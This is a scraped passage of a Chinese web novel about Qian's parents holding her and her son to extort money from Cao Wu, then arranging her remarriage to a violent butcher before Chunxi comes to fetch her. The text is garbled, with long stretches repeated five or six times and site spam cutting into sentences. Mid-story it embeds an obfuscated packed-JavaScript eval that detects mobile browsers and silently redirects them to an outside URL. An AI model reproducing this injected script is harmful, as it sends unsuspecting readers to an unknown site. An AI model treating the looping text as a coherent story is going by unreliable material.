钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无 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曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 武哥哪儿来的二十两银子?” 而且这些日子钱氏天天带着孩子给一大家子洗衣做饭,多吃一口菜就要被嫂嫂挖苦,吃的米粮加起来最多几十个铜板,哪里值得了二十两银子? 直到这个时候钱氏才隐隐明白,她爹娘不许她带着孩子回家,并非想为她撑腰,而是借机要钱。 认清这一点,钱氏越发无地自容,然而钱母的声音比她更大:“你是不是傻,这狐狸精都进门了,她随便说几句话你就信了?我要这钱也是为了你和正儿,万一以后姓曹的真变了心,你和正儿吃什么喝什么?” “娘,武哥不会这样对我的……” 钱氏反驳,钱母不爱听这话,直接打断她冲曹武道:“我们已经做出让步了,只要今天你把钱给我们,我们就让他们母女跟你回家。” 钱母说完在正儿腿上拧了一把,正儿的哭声大起来,钱氏顿时心痛如绞,但她知道自己说服不了钱母和钱父,只能眼泪汪汪地看向曹武。 曹武也很心疼正儿,但经过这段时间开铺子的摸爬滚打,他知道自己不能因为心软被拿捏。 钱父钱母今天能用孩子要二十两银子,以后就能用这种法子威胁他分一半铺子给他们。 一旦退让,这就是个填不满的无底洞。 这般想着,曹武冷了脸,他看向钱氏:“我没做错什么,一个铜板都不会给你们,如果你还想继续跟我过日子,就带着孩子跟我回家。” 曹武没说钱氏如果不带孩子跟他回家会怎么样,但钱氏听出了他话里的绝决,连忙去求钱母:“娘,这次是我的错,我不该使性子回娘家,您要是心疼女儿,就把孩子给我,让我们娘俩跟武哥一起回家吧。” 钱氏说着朝钱母跪了下去。 然而钱父钱母在曹武面前端丈人的架子太久,根本不相信曹武能舍得下孩子,只觉得他是因为春喜在这儿,故意放狠话。 钱父强行把钱氏拉起来,冲曹武道:“既然你为了钱可以不要妻儿,那就别怪我们狠心。” 放下这句话,钱父钱母硬拽着钱氏和正儿离开。 冯茵茵很是愧疚:“沈夫人,曹大哥,对不起,是我给你们惹麻烦了。” “冯姑娘没有做错什么,反倒是我连累了你,害你白白挨了一顿打,该我向你道歉才对,”曹武说完又看向春喜,“对不起阿喜,是我没有处理好这件事,又给你添麻烦了。” 春喜没有说客套话,淡声问:“大哥接下来打算怎么办?” 曹武皱眉:“我不可能再受他们的要挟,如果你大嫂不能下定决心脱离娘家,那我跟她的夫妻缘分就到此为止了。” 春喜之前跟王氏闹得不可开交,甚至连家门都不愿意入,曹武虽然没有责怪春喜,但偶尔也觉得春喜对王氏有些太狠了,直到今日,他才突然明白,春喜如果没有这样的狠绝,便会如钱氏一般,根本摆脱不了娘家的掌控,更不可能和妹夫把日子过好。 “大哥当真舍得看着大嫂带着正儿改嫁?” 听到这话,曹武露出痛苦之色。 他对钱氏还是有感情的,正儿更是他看着从小小一只长到现在这么大的,让钱氏跟别的男人同床共枕,还要正儿叫别的男人父亲,比挖了他的心还痛。 片刻后,曹武叹了口气说:“长痛不如短痛,如果你大嫂真的听从家里安排要带着孩子改嫁,说明我和正儿在她心里都不如她的娘家人重要,我也只能尊重她。” 曹武这次下了决心,钱父钱母回去合计了一番,也觉得要出狠招治一治他才行,很快请人为钱氏写了休夫的文书送来,又请了媒婆给钱氏说媒。 拿到休书那夜,曹武在家酩酊大醉,痛哭到天亮。 春喜知道情况后,到底还是带人去了一趟钱家。 第343章 人得自己能扛事 钱父是庄子上的管事,家就在离庄子不远的村子里,这些年钱父干事得力,得了不少奖赏,还通过钱氏从曹家捞了不少好处,在儿子成婚后,钱家修了砖瓦房,虽比不得城里的大户人家,但在村里还是独一份儿的体面。 自那日回家,钱氏就被关进屋里。 她哭求钱母放自己和正儿回曹家,却被钱母指着鼻子骂蠢货。 “曹武都把木匠铺子开起来了,二十两银子对他来说根本不算什么,而且曹春喜现在那么有钱,怎么可能眼睁睁地看着他哥妻离子散,他们就是富贵了,瞧不上你了,你要是真没骨气地带着孩子回去,等曹武纳妾,你和正儿就等着被磋磨一辈子吧!” “不会的,武哥不是这样的人。” 钱氏摇头辩解,钱母冷笑道:“他现在是不会,等他有了钱,花花肠子就会显露出来,你嫁给他不过两三年,我和你爹生你养你这么多年,难道还会害你不成?” 钱氏觉得钱母的话有哪里不对,但又不知道该怎么辩驳。 她性子懦弱,习惯了在家里逆来顺受,不敢顶撞。 见她不说话了,钱母又缓了语气:“我和你爹已经请人写文书帮你休了曹武,还请了十里八乡最好的媒人给你说媒,你还年轻,头胎就得了儿子,是个好生养的,多的是人愿意娶你呢,你乖乖听话别闹,曹武肯定会来服软接你们娘俩回去的。” 钱氏没想到爹娘连休夫这种事都做出来了,她心里慌乱不已,急急追问:“要是武哥不来怎么办,你们难道真要逼着我改嫁吗?” 这事闹得挺大的,村里的人都知道了,曹武要是不来,钱家还真不好收场。 钱母恶狠狠地剜了钱氏一眼:“正儿是他的亲生骨肉,他就算不要你,难道还能不要儿子,你少在这里胡思乱想,安心等着就是了。” 扔下这番话,钱母退出房间,而后给房门上了锁。 钱氏坐在屋里,满心的惶恐不安。 她觉得事情不该是这样的,她和武哥感情很好,她从没有想过要改嫁他人,她想好好跟武哥过日子。 这次她任性回娘家,又误会了武哥和冯姑娘,武哥肯定很生气,爹娘还替她做主休夫,甚至操办起让她改嫁的事来,就算武哥最后来接她和正儿,日后只怕也会因此与她生出嫌隙,可是现在她被关在这里什么都做不了。 钱氏流着泪睡过去,然而没睡多久,就听到房门“吱呀”一声被推开。 她猛然惊醒,借着月光看到了春喜。 “阿喜!”钱氏难以 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 置信地揉揉眼睛,确定自己不是做梦,激动地来到春喜面前,“你是来带我和正儿走的吗?之前都是我不好,我不该贪图钱财听信别人的挑拨,你放心,这次回去以后,我一定踏踏实实跟你大哥过日子。” 钱氏说着朝钱父钱母的屋子走去,刚走了一步,就听到春喜说:“我可以带你走,但你要先跟你爹娘说清楚,眼下你和我大哥已经没有关系了,我担不起诱拐你们母子的罪责。” 白日下过雪,夜里很冷,春喜的声音落在钱氏耳中更冷,她急急开口:“我爹娘是不会同意让我和正儿走的,阿喜你也知道,我在家里根本说不上话,但你不一样,你现在是官夫人,他们奈何不了你,只要你愿意带我走……” 春喜直接打断钱氏:“我今天可以把你带走,明天他们找上门寻死觅活,你能不跟他们回来吗?” 钱氏唇瓣颤动,没了声音。 她舍不下武哥,但如果爹娘以死相逼,她也做不到无动于衷。 半晌,她拉住春喜的手,痛苦地哀求:“阿喜,你帮我想想办法,教教我该怎么做好不好?” “我刚刚已经说了,只要你跟你爹娘说清楚,我就带你走。” “可是他们不会听我的……” 钱氏落下泪来,满脸的痛苦无助。 她虽然已经是一个孩子的母亲,这个时候却还如孩童一般,畏惧自己的爹娘,无法摆脱他们的掌控,甚至连直面他们的勇气都没有。 春喜抿了抿唇,带着钱氏去到钱父钱母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334101|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里。 虎叔事先放了**,这会儿钱家所有人都睡得很沉。 钱父钱母屋里,堆着很多系着红绸的东西,那是给钱氏的聘礼。 “媒婆给你说了隔壁村的李屠户,你爹娘已经收了人家的聘礼,如果我哥不来接你,到时你只能带着正儿改嫁给李屠户。” 钱氏的身体控制不住的哆嗦。 隔壁村的李屠户已经四十好几了,他力气大,脾气也大,娶了两任妻子都没生出孩子,两任妻子都是被他活活打死的。 他愿意花钱娶钱氏,就是冲着让钱氏给他生儿子去的。 钱氏要是真的生出儿子,李屠户肯定容不下正儿,钱氏要是生不出来,那就只能被李屠户打死。 爹娘怎么能把她嫁给李屠户! 钱氏又惊又怒,然而过了半晌,却还是选择求春喜:“阿喜,你帮我劝劝你哥,让他来接我和正儿好不好,不然我和正儿会被李屠户活活打死的。” “大嫂,我不欠你什么,今晚我愿意冒着风雪前来,已经是顾念你我姑嫂一场的情谊了,你若一点儿事都不敢扛,那我也没办法了。” 春喜眸底闪过失望,她甩开钱氏的手,转身就往外走。 春喜的步子迈得很快,走得决绝。 钱氏跌跌撞撞地追出来:“阿喜,你别走,我都听你的,我……我愿意跟我爹娘说清楚!” “大嫂可想清楚了,待会儿你若反悔,我可是不会再回头的。” 钱氏双手握拳,点了点头。 很快,虎叔拿来解药,把钱家的人都唤醒。 看到春喜站在院子里,钱父怒不可遏:“曹春喜,你虽然已经是诰命夫人,但深更半夜擅闯民宅这也是触犯律法的,你信不信我去官府告你?” 春喜垂着眸没有应声,钱氏磕磕巴巴地开口:“爹,是我让阿喜来接我的,我要带着正儿跟阿喜回曹家。” “你休想,”曹父毫不犹豫地拒绝,“你现在跟曹武已经没有关系了,而且我已经请媒人重新为你说了门亲事,你除了在家安心待嫁,哪儿都不许去!” 第344章 一头撞死 “李屠户已经打死两任妻子了,十里八乡谁不知道他的恶名,爹你怎么能逼着我嫁给这种人?” 钱氏哭着控诉。 如果她不知道要娶自己的人是谁,还能骗自己说父母不会害她,可知道对方是李屠户后,她没办法再自欺欺人。 爹娘这就是在把她往火坑里推! 